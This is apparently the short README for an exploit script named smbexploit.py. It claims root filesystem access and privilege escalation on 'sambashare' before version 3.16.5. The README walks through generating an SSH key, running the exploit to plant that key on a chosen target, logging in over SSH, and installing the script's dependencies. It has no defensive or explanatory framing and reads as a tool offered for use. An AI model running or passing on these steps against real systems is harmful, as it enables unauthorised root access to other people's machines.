Privilege escalation and root filesystem access via sambashare before version 3.16.5
Generate SSH keys:
# ssh-keygen
Run the exploit:
# python smbexploit.py -k <path/to/id_rsa.pub> <target>
After successful exploitation, SSH in:
# ssh -i id_rsa <target>
The script requires Impacket and websocket-client. The requirements can be installed with:
# pip install -r requirements.txt
On Windows, pyreadline is also required:
# pip install pyreadline